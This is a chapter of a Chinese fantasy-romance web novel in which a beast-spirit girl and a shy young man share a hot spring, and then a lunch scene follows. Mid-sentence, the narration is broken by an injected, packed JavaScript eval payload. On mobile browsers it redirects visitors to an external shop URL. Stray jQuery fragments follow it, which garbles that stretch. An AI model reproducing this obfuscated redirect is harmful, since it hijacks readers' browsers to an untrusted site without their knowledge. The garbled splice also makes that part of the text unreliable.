秦筝感知嗅觉都是一等一的灵。
但是这——血腥味和惊慌失措加在一起,她就有些难以解读了。
秦筝欲要再次拉开门,发现门的另一边被牢牢拽住。
她不解:“你怎么了,受伤了?”
陈乙安一手捂住鼻子,一手拉紧门把手:“……”
隔了片刻,才传来他有些闷闷的声音:“你再等我一会儿。”
秦筝“哦”了一声,回到了房间。
女仆说,温泉的水温很热,还是恒温的,但是这里距离温泉池还有一些路要走。
她低头看了看自己的打扮。
——这样好像会有些冷吧?
她走到衣柜前,里面是已经被女仆收拾整理进去的各式衣服,挑了件宽大的针织衫披在身上。
大约一刻钟后,门被再次敲响。
“是我。”陈乙安声音沉沉,纠结一秒,他补充道,“外面有些冷,你穿一件外套。”
话音才落,门便被刷一下打开。
眼睛里写满兴奋但还是那张冷脸的秦筝出现在他面前。
陈乙安暗自松了一口气。
还好穿外套了。
温泉池说远其实并不远,就在住宅区的后方,方便住在这里的主客来往。
池子很大,山庄里的佣人日夜打扫,泉水也是当年陈向松花了大手笔专门自凉城的温泉泉眼从地下引过来的。
昏暗的灯光映照下,池面上升的热气清晰可见,温泉水带有淡淡的独特矿物味,女仆们精心撒了些花瓣上去,干花的香气在温度的烘托下也更为明显。
哇!
秦筝两眼几乎要放出光来,但依旧面上不显。
只有脚下加快的步子能看出她的几分心切。
临近水边时,她扭头朝已经在远处“罚站”的陈乙安招了招手。
“?”陈乙安指向自己,不懂这个时候为什么要叫他,但腿已经诚实地迈开了步子。
他来到秦筝身边,尽量让自己的视线避开针织外套下那双雪白笔直的腿。
“怎么了?”
秦筝疑惑:“你虽然不愿意和我一起下池子,但你也不呆在这等我吗?”
陈乙安:“……”
他的语言组织了好半会儿,才道:“我没有不愿意,我只是……”
“男女授受不亲?”秦筝的视线下移,伸出一根手指,戳了戳少年的胸膛,“你的身子,我不是在黄凉山时就见过了吗?”
“……”
陈乙安的脸再一次爆红。
这都哪跟哪啊?
那时候的秦筝还是一只小小的,毛茸茸的可爱小兽呢。
“噢——”
秦筝像是突然明白了什么,她脱掉身上穿的针织外套,手中灵巧地画了个漂亮的符号,还未等陈乙安扭过头去,空中灵力波动,只一个眨眼之间,她便变成了一只雪白的小兽。
陈乙安面色大惊,手中金光迸出。
“嗷?”小兽歪头,疑惑地看向他。
在自己家里,你为什么要设结界?
陈乙安哭笑不得。
不过看见这只熟悉的小兽,心中的那抹异样也逐渐消散。
他蹲下身,娴熟地提溜起那几乎没有重量的一团,发出了一声轻咦。
“你是不是胖了?”
陈乙安将秦筝提到面前,后者的腿在空中乱蹬。
靠——!
你刚刚还害羞呢,现在连她的肚皮都要看?!
“嗷嗷嗷——”
秦筝发出一连串急促的叫声,爪子不断朝着温泉挥舞。
“知道了知道了。”
陈乙安抱好小兽,走到池子边,将她轻轻地放了进去。
那一抹雪白的身影安然地浮在水面上,秦筝惬意地闭上了双眼。
原来这就是温泉呀!太舒服了!甚至还能感受到来自地下的深层灵力在往体内钻,配合陈乙安这个纯天然聚灵阵,简直是事半功倍的效果。
陈乙安站在池边上,垂眸。
神奇的是,当秦筝变回兽形态后,他那点尴尬的小情绪便全然消失不见。
如果是这样的话——
他脱掉身上披着的浴袍,露出里面的泳裤。
你还说男女授受不亲,还害羞,实则还不是泳裤都准备好了?!
秦筝扒拉着短腿游到岸边,嘴里嗷个不听。
陈乙安扑通一声下水,似乎是听出小兽嘴里的意思,忍不住朝她泼了一捧水。
抬头是雨城城区里难得见到的星空。
陈乙安两指一抬,又加了一层结界。
“虽然温泉附近没有监控,但山庄里人多眼杂,你在老爷子那里还有些嫌疑,还是收敛一些好。”
说完,他语气微顿,带上一丝不明的笑意。
“哦……你可能不知道监控是什么。”
“一个可以实时记录区域内发生的事情的小物件儿,比如……你那天翻出去找29号那群鸽子。”
“什么?!”
迫切地想要张嘴说话,小兽变成了人形。
蓝光乍现,秦筝在水里猛一个噗通,她那双错愕的眼睛直直对视上陈乙安的。
直到背部传来池边的冰凉,陈乙安才找回了自己的意识。
视线稍一下移便是无法直视的沟壑,他默默地撇过头。
“原来我那天跑出去,你都知道?”
失去了表情管理,秦筝面色懊恼。
她捧起一抔水往脸上浇去,试图浇醒自己的大脑,可惜——水还是温热的。
“那我还不如跟着岳秋水去参加大妖会议呢。”她小声嘀咕一句。
良久,陈乙安声音低哑:“你——先从我身上离开。”
秦筝一愣,发现自己的腿不知道何时和陈乙安的交叠在一起。
应该是从兽形态变成人形时发生的事情。
她慢吞吞缩回自己的腿,一副老神在在的模样。
秦筝自然不会觉得和一个年龄只有自己零头的小孩有什么不好意思的。
她轻咳一声,还是选择道歉:“抱歉,刚刚没注意。”
那双琥珀色的眼睛里尽是坦然。
她瞅着陈乙安。
这少年长得实在漂亮,比那些化成人形出了名美的蛇妖一族都要漂亮。
但是,总感觉缺了点什么。
秦筝忍不住凑近了看。
陈乙安只感觉一股热气一直往脸上贴。
水是热的,蒸腾上来的水汽是热的,脸是热的,身体也是热的。
他将头回正,恰巧和秦筝那张放大的俏脸几乎鼻尖贴着鼻尖。
秦筝瞪大眼:“我知道了,你——”
话还没说完,陈乙安猛地起身,水星花了秦筝的眼,视线中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684902|207558||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,少年双臂一撑回到岸上,只留下仓皇的背影和急匆匆的一句话。
“我先回去了。”
秦筝看着逐渐消失在视野中的少年,眯了眯眼,嘴角勾起一抹弧度。
这小孩,还怪害羞的。
五味杂陈的情绪弥漫在空气中,她深吸一口,钻进了水下。
再泡一会儿也该回去了。
没有贴身聚灵阵,秦筝睡得很早,翌日还是日上三竿时女仆叫醒她准备吃午饭。
原来她一觉能睡这么久了,秦筝如是想到。
等收拾好自己跟着女仆的指引来到饭桌上时,偌大的长型餐桌,空无一人,只有满桌的饭菜。
秦筝疑惑:“陈乙安人呢?”
“少爷一早就出去了,吩咐我们提醒您吃饭。”
他不会是在躲自己吧?
秦筝的心里起了个荒唐的念头。
她的表情拧成一团,纠结之余,还是选择坐下吃饭。
人是铁,饭是钢,吃饭最重要。
“您今天很漂亮。”
一旁的女仆实在忍不住夸赞道。
她的眼睛像黏在秦筝的身上一般,虽说身为一个住家女仆,这是非常不对的行为。
“是每天都很漂亮。”
另外一个女仆也没忍住插嘴道,她伸手替秦筝盛了一碗汤。
今天的午饭是凉城本地菜,普罗旺斯山居的后山拥有一片自己的田,种了蔬菜养了许多鸡鸭,主家吃的很多食材都是来自这里的。
这种夸赞的话就算秦筝天天听,听了几万年,她也还是很受用的。
秦筝低头看了眼自己的穿搭,这是她随手拿的,相比于非常鲜艳的颜色,她更喜欢素色。
上衣是米白色薄款的羊绒圆领衫,料子轻软贴肤,版型修身,外面只松松套了一件薄款的驼色开衫,袖口随意挽到小臂,下身搭配的是同色系的阔腿裤,刚好盖住那双深咖色的小高跟。
是妖界从未见过的衣服款式,但她非常喜欢。
饭吃到一半,一旁新进来一个女仆,看到秦筝正在吃饭,低头道:“秦筝小姐,少爷回来了,说吃好饭让我带您过去。”
秦筝停住夹菜的手势,抬眼看她,语气微微上挑:“那麻烦你再跑一趟,让他过来这里找我。”
女仆闻言,愣了一下。
还有人敢命令少爷?
她没敢吭声,赶紧低着头跑远了。
一旁的两位女仆面面相觑。
这剑拔弩张的氛围,莫不是秦筝小姐和少爷吵架了?
少爷年级尚小,这位秦筝小姐看脸几乎看不出年龄,倒是这身高上来说,看起来比少爷的同龄一辈要高一些。
——那就是比少爷大吧?
姐弟恋?
两个女仆你看看我,我看看你,最终愣是一个也没敢开口问。
“你们小少爷,平时就一个人回来这里住?”
她慢悠悠吃着,一边问道。
“是的小姐,小少爷一般都是一个人回凉城。”女仆恭恭敬敬地回答。
在见到秦筝放下了手中碗筷时,很有眼力见地递上了擦手巾。
不消多时,餐厅的入口处传来轻声的脚步。
少年穿着黑色风衣,肩头微微沾了些雨,卷着一股沉木香的风进来了。
女仆们赶紧收着几个盘子趁机离开,将空间留给二人。